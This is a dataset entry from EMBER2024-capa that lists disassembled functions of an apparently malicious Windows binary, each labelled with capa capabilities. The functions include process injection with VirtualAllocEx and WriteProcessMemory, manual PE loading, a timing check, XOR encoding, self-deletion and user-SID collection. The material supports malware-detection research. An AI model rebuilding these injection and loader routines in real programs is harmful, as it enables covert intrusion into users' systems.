joyce8/EMBER2024-capa huggingface dataset:
Function at 0x962b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x962d2
xor eax, eax
jmp 0x96375
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x962cb
mov eax, dword [ebp + 0xc]
sub eax, dword [ecx + 0x34]
mov edx, dword [ecx + 0xa4]
and dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0xa0]
push ebx
add eax, edi
push esi
mov dword [ebp - 0x14], edx
test edx, edx
je 0x9636a
mov edx, dword [eax + 4]
add dword [ebp - 8], edx
mov esi, dword [eax]
and dword [ebp - 4], 0
add edx, 0xfffffff8
shr edx, 1
add esi, edi
test edx, edx
jle 0x9635f
mov edi, dword [ebp - 4]
movzx edi, word [eax + edi*2 + 8]
mov ebx, edi
shr ebx, 0xc
test ebx, ebx
je 0x96354
cmp ebx, 3
je 0x96335
cmp ebx, 0xa
jne 0x96378
and edi, 0xfff
add edi, esi
mov dword [ebp - 0x10], edi
mov edi, dword [edi]
mov ebx, edi
sub ebx, dword [ecx + 0x34]
cmp ebx, dword [ecx + 0x50]
ja 0x96378
add edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x9631a
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 8]
add eax, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
jb 0x96303
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x34], eax
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret
xor eax, eax
jmp 0x96373

Function at 0x9637c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
jne 0x9638a
xor eax, eax
leave
ret
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x50]
push 4
mov esi, 0x1000
push esi
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x963f5
push ebx
push edi
push eax
call fcn.0009ee08
add esp, 0xc
push 0x40
push esi
push ebx
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x963f5
push esi
push dword [ebp - 4]
call fcn.000962b7
pop ecx
pop ecx
push 0
push ebx
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x963f9
xor eax, eax
jmp 0x9640b
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
sub esi, edi
add esi, dword [ebp + 8]
mov dword [eax], esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x96410
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x96421
xor eax, eax
ret
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x9643a
mov eax, 0x14c
cmp word [edi + 4], ax
je 0x9643e
xor eax, eax
pop edi
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push dword [edi + 0x50]
push dword [edi + 0x34]
call esi
mov ebx, eax
test ebx, ebx
jne 0x96472
push 4
push 0x1000
push dword [edi + 0x50]
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x964fc
push 0x14
call fcn.0009ebcc
mov esi, eax
xor eax, eax
pop ecx
cmp esi, eax
je 0x964fc
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
mov ecx, dword [edi + 0x54]
add ecx, dword [eax + 0x3c]
push ecx
push eax
push ebx
call fcn.0009ee08
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x3c]
push esi
add eax, ebx
push edi
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], ebx
call fcn.00095ec5
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x964c9
push eax
push esi
call fcn.00095feb
pop ecx
pop ecx
push esi
call fcn.00096069
pop ecx
test eax, eax
je 0x964f5
push esi
call fcn.00095f3f
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
pop ecx
test eax, eax
je 0x96503
add eax, ebx
je 0x964f5
push 0
xor edi, edi
inc edi
push edi
push ebx
call eax
test eax, eax
jne 0x96500
push esi
call fcn.00096246
pop ecx
xor eax, eax
jmp 0x96505
mov dword [esi + 0x10], edi
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x96987
Capabilities:
Enumerate pe sections
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx esi, word [eax + 6]
movzx ecx, word [eax + 0x14]
dec esi
imul esi, esi, 0x28
lea ecx, [ecx + eax + 0x18]
mov eax, dword [ebp + 0x14]
add esi, ecx
mov ebx, dword [esi + 0x14]
sub eax, ebx
mov dword [ebp - 4], eax
cmp ebx, dword [ebp + 0x10]
jae 0x969e0
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x969e0
xor edx, edx
div ecx
mov dword [ebp - 8], ecx
mov dword [ebp + 0x14], eax
xor eax, eax
inc eax
cmp dword [ebp + 0x14], eax
jge 0x969d5
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0x14]
imul eax, ecx
mov dword [esi + 0x10], eax
jmp 0x969e4
and dword [ebp + 0x14], 0
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
test eax, eax
je 0x96a4d
cmp dword [ebp - 4], ebx
jne 0x96a4d
cmp dword [ebp + 0x14], 0
je 0x96a3c
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x14]
push dword [ebp - 8]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call edi
test eax, eax
mov eax, dword [ebp - 4]
je 0x96a40
cmp eax, dword [ebp - 8]
jne 0x96a40
add ebx, eax
dec dword [ebp + 0x14]
jne 0x96a10
mov eax, ebx
jmp 0x96a5b
add ebx, eax
cmp ebx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, ebx
jmp 0x96a5b
cmp dword [ebp + 0x14], 0
je 0x96a59
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x96a60
Capabilities:
Delete file
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x96b8c
mov al, byte [esi]
mov byte [ebp - 4], al
mov al, byte [esi + 1]
mov byte [ebp - 3], al
mov al, byte [esi + 2]
push edi
mov edi, dword [ebp + 0x10]
mov byte [ebp - 2], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x96b1d
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
push ebx
push dword [ebp - 0xc]
push ebx
push eax
call fcn.0009eb0e
add esp, 0x10
cmp edx, ebx
jl 0x96b1d
jg 0x96ae7
cmp eax, 0x6400000
jbe 0x96afd
call fcn.0009eca5
xor edx, edx
mov ecx, 0x500000
div ecx
lea edi, [edx + 0xa00000]
jmp 0x96b1d
cmp edx, ebx
jl 0x96b1d
jg 0x96b0a
cmp eax, 0x3200000
jbe 0x96b1d
call fcn.0009eca5
mov edi, eax
and edi, 0x1fffff
add edi, 0x300000
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.00096987
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp eax, ebx
jne 0x96b56
mov dword [0xa2180], 0x5e040102
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0xa217c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x96b7f
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test eax, eax
jne 0x96b86
mov dword [0xa2180], 0x5e040103
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0xa217c], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
pop edi
jmp 0x96ba3
mov dword [0xa2180], 0x5e040101
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0xa217c], eax
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x96ba7
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [0xa30ac]
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
test eax, eax
je 0x96bc0
xor eax, eax
leave
ret
push esi
lea eax, [ebp - 4]
push eax
xor esi, esi
push esi
call dword [0xa30ac]
pop ecx
pop ecx
test eax, eax
je 0x96bdb
xor eax, eax
jmp 0x96c6c
push ebx
push dword [ebp - 4]
call fcn.0009ebcc
mov ebx, eax
pop ecx
cmp ebx, esi
je 0x96c03
lea eax, [ebp - 4]
push eax
push ebx
call dword [0xa30ac]
pop ecx
pop ecx
test eax, eax
je 0x96c07
push ebx
call fcn.0009ec2e
pop ecx
xor eax, eax
jmp 0x96c6b
push edi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x96c34
push ebx
call fcn.0009ec2e
xor eax, eax
jmp 0x96c69
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x96c5a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x96c2a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.0009ec2e
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x96c6f
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
push 7
xor ecx, ecx
mov eax, edx
pop esi
mov edi, edx
and edi, 0xf
xor ecx, edi
shr edx, 4
dec esi
jne 0x96c7c
and eax, 0xfffffff
shl ecx, 0x1c
pop edi
or eax, ecx
pop esi
ret

Function at 0x96c96
Capabilities:
Encode data using xor

Disassembly:
push 8
xor eax, eax
pop ecx
mov edx, dword [esp + 4]
shr dword [esp + 4], 4
and edx, 0xf
xor eax, edx
dec ecx
jne 0x96c9b
ret

Function at 0x96cc9
Capabilities:
Get common file path

Disassembly:
cmp byte [0xa2e08], 0
push edi
mov edi, 0xa2e08
jne 0x96dbe
push esi
push str.GetSystemWow64DirectoryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
test eax, eax
je 0x96d12
push esi
push edi
call eax
test eax, eax
je 0x96d12
cmp byte [0xa2e08], 0
jne 0x96d99
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x96d27
cmp byte [0xa2e08], 0
jne 0x96d99
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, 0xe4
mov esi, 0xa22f8
lea ebp, [ebx + 0x1c]
test eax, eax
je 0x96d4b
cmp byte [0xa2e08], 0
jne 0x96d71
push 0xc8
push ebx
push 0xb
push 0xa0664
push esi
call fcn.00092544
push eax
push edi
call fcn.0009ef00
push ebp
push 0
push esi
call fcn.0009ee2a
add esp, 0x28
push 0xc8
push ebx
push 0xb
push 0xa0658
push esi
call fcn.00092544
push eax
push edi
call fcn.0009ef1e
push ebp
push 0
push esi
call fcn.0009ee2a
add esp, 0x28
pop ebp
pop ebx
mov eax, edi
lea ecx, [eax + 1]
pop esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x96d9f
sub eax, ecx
cmp byte [eax + 0xa2e07], 0x5c
je 0x96dbe
mov byte [eax + 0xa2e08], 0x5c
mov byte [eax + 0xa2e09], dl
mov eax, edi
pop edi
ret
Function at 0x96dc2
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xa2f0c]
sub esp, 0x104
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x96e33
call fcn.00096cc9
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0009ef00
pop ecx
lea eax, [ebp - 0x104]
pop ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x96df4
sub eax, edx
cmp eax, 3
jb 0x96e24
push ebx
push ebx
push ebx
push ebx
push 0xa2f0c
push ebx
push ebx
lea eax, [ebp - 0x104]
push eax
mov byte [ebp - 0x101], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x96e2e
mov dword [0xa2f0c], 0x5e5e5e5e
mov eax, dword [0xa2f0c]
pop ebx
leave
ret

Function at 0x96e36
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x358]
push eax
or esi, 0xffffffff
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x96ebe
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x358]
push eax
push 0
mov dword [ebp - 4], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x96ebe
cmp dword [ebp - 4], 0xc
jb 0x96ebb
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp + 8]
jne 0x96ebb
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x96eb7
cmp dword [ebp - 4], 0x1c
jb 0x96ebb
cmp dword [ebp - 0x38], eax
jne 0x96ebb
xor esi, esi
jmp 0x96ebe
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret

Function at 0x96edd
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xa2048]
sub esp, 0x10
push ebx
xor ebx, ebx
cmp eax, ebx
jge 0x96f5c
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x96f44
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x96f3b
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
mov dword [0xa2048], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [0xa2048]
cmp eax, ebx
je 0x96f5c
push ebx
push 0x12
call fcn.00096e36
pop ecx
pop ecx
mov dword [0xa2048], eax
pop ebx
leave
ret
Function at 0x96f5f
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push esi
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x97047
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x96f8d
sub eax, edx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push 0
mov dword [ebp + 8], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x97025
mov eax, dword [ebp + 0xc]
add eax, esi
push 0xa0690
push eax
call fcn.0009ef00
inc dword [ebp + 0xc]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.ADVAPI32.dll_ConvertSidToStringSidA
test eax, eax
je 0x97025
mov eax, dword [ebp - 4]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x96ff7
sub eax, ecx
mov dword [ebp + 8], eax
inc eax
push eax
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
add eax, esi
push eax
call fcn.0009ee08
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], eax
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.00096edd
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0xa068c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
jmp 0x97049
xor eax, eax
pop esi
leave
ret
Function at 0x980c9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
mov dword [0xa2c3c], ebx
mov dword [0xa2c38], ebx
call fcn.00096ec3
test eax, eax
jne 0x980f9
call fcn.00097ee6
jmp 0x98225
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push 0xa0264
call fcn.0009704c
add esp, 0x14
test eax, eax
jle 0x98225
cmp byte [ebp - 0x134], bl
je 0x98225
cmp byte [ebp - 0x30], bl
je 0x98225
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0xa06ac
mov edi, 0xa22f8
push edi
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x98216
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x981f7
cmp dword [ebp - 0xc], 1
jne 0x981f7
cmp dword [ebp - 4], ebx
jbe 0x981f7
push dword [ebp - 4]
call fcn.0009ebcc
pop ecx
mov dword [0xa2c3c], eax
cmp eax, ebx
je 0x9820d
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x981f7
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x981cd
sub eax, edx
inc eax
push eax
call fcn.0009ebcc
pop ecx
mov dword [0xa2c38], eax
cmp eax, ebx
je 0x9820d
lea ecx, [ebp - 0x134]
push ecx
push eax
call fcn.0009ef00
pop ecx
jmp 0x9820c
mov eax, dword [0xa2c3c]
cmp eax, ebx
je 0x9820d
push eax
call fcn.0009ec2e
mov dword [0xa2c3c], ebx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push edi
call fcn.0009ee2a
add esp, 0xc
cmp byte [str.C:WINDOWS_system32wzjurggnybuffopp.exe], bl
je 0x9826c
cmp dword [0xa21a4], ebx
jne 0x9826c
push ebx
lea eax, [ebp - 0x10]
push eax
push str.C:WINDOWS_system32wzjurggnybuffopp.exe
call fcn.0009675c
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0x9826c
mov esi, dword [ebp - 0x10]
push ebx
push esi
push edi
call fcn.000924c2
push edi
mov dword [0xa22d4], eax
mov dword [0xa21a4], esi
call fcn.0009ec2e
add esp, 0x10
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
Function at 0x98cee
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [0xa3380], ebx
je 0x98dae
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0xa3388]
cmp eax, 0xea60
jb 0x98dae
push esi
push edi
mov edi, dword [0xa3380]
movsx eax, byte [edi]
mov esi, dword [edi + 1]
add edi, 5
mov dword [ebp - 8], eax
test eax, eax
jle 0x98da1
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
mov cl, byte [eax]
cmp cl, 8
jne 0x98d4d
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0009a677
jmp 0x98d5f
cmp cl, 9
jne 0x98d6c
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0009a688
pop ecx
test eax, eax
je 0x98d7f
mov eax, dword [ebp - 4]
or esi, dword [eax + 1]
jmp 0x98d7f
movsx ecx, cl
mov eax, dword [ecx*4 + 0xa3300]
test eax, eax
je 0x98d7f
cmp ecx, dword [eax + 0x34]
je 0x98d8b
add dword [ebp - 4], 5
inc ebx
cmp ebx, dword [ebp - 8]
jl 0x98d34
jmp 0x98da1
mov eax, dword [eax + 0x50]
test eax, eax
je 0x98da1
imul ebx, ebx, 5
mov cl, byte [ebx + edi]
sar esi, cl
and esi, 1
push esi
call eax
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop edi
mov dword [0xa3388], eax
pop esi
pop ebx
leave
ret

Function at 0x98f53
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
mov dl, 0xc6
cmp esi, edi
jae 0x98f84
push ebx
mov al, byte [esi]
movzx ecx, al
mov ebx, ecx
shr ebx, 3
shl cl, 5
or bl, cl
xor bl, dl
xor al, 0xc6
mov byte [esi], bl
inc esi
mov dl, al
cmp esi, edi
jb 0x98f67
pop ebx
pop edi
pop esi
ret

Function at 0x99064
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
push edi
lea eax, [ebp - 0x404]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x404]
push eax
call fcn.00098274
pop ecx
call fcn.0009eca5
push 9
pop esi
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0009eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0009eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0009eca5
xor edx, edx
div esi
lea eax, [ebp - 0x404]
mov esi, 0xa22f8
push edx
push eax
push 0xc8
push 0xe4
push 0xf
push 0xa0794
push esi
call fcn.00092544
add esp, 0x14
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
xor edi, edi
push edi
push esi
call fcn.0009ee2a
add esp, 0x28
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, edi
jbe 0x9913f
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x99141
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x99145
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
lea eax, [ebp - 0x104]
push eax
push eax
push 0xc8
push 0xe4
push 0x66
push 0xa07a8
mov esi, 0xa22f8
push esi
call fcn.00092544
add esp, 0x14
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
push edi
push esi
call fcn.0009ee2a
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.00099064
add esp, 0x24
test eax, eax
je 0x991e7
push edi
push edi
push edi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
leave
ret

Function at 0x991eb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp byte [edi], 0
mov dword [ebp - 4], 0x10
je 0x99308
push 0xd
push edi
call fcn.0009ed03
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x9923f
push 0xa
push edi
call fcn.0009ed03
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x9923f
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x99233
sub eax, edx
lea ebx, [eax + edi]
mov esi, ebx
sub esi, edi
cmp esi, 0x200
jb 0x99250
mov esi, 0x1ff
push esi
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0009ee08
add esp, 0xc
mov byte [ebp + esi - 0x208], 0
cmp byte [ebp - 0x208], 0
je 0x992dd
cmp byte [ebp - 0x208], 0x20
lea eax, [ebp - 0x208]
jne 0x9929b
inc eax
cmp byte [eax], 0x20
je 0x99281
jmp 0x9929b
cmp cl, 0x22
je 0x9929a
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x99289
cmp cl, 0x22
jne 0x992a8
inc eax
cmp byte [eax], 0x22
je 0x9928e
jmp 0x992a8
cmp byte [eax], 0x20
je 0x992b2
inc eax
cmp byte [eax], 0
jne 0x992a2
cmp byte [eax], 0x20
jne 0x992bd
mov byte [eax], 0
inc eax
cmp byte [eax], 0x20
je 0x992b5
jmp 0x992bf
xor eax, eax
xor ecx, ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 8], eax
cmp eax, 0x2a
jne 0x99310
mov al, byte [ebx]
cmp al, 0xd
je 0x992e7
cmp al, 0xa
jne 0x992ea
inc ebx
jmp 0x992dd
cmp byte [ebx], 0
mov edi, ebx
je 0x992fc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp byte [ebx], 0
jne 0x9920e
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
or ecx, 0x5e040100
mov dword [0xa2180], ecx
mov dword [0xa217c], eax
jmp 0x9930b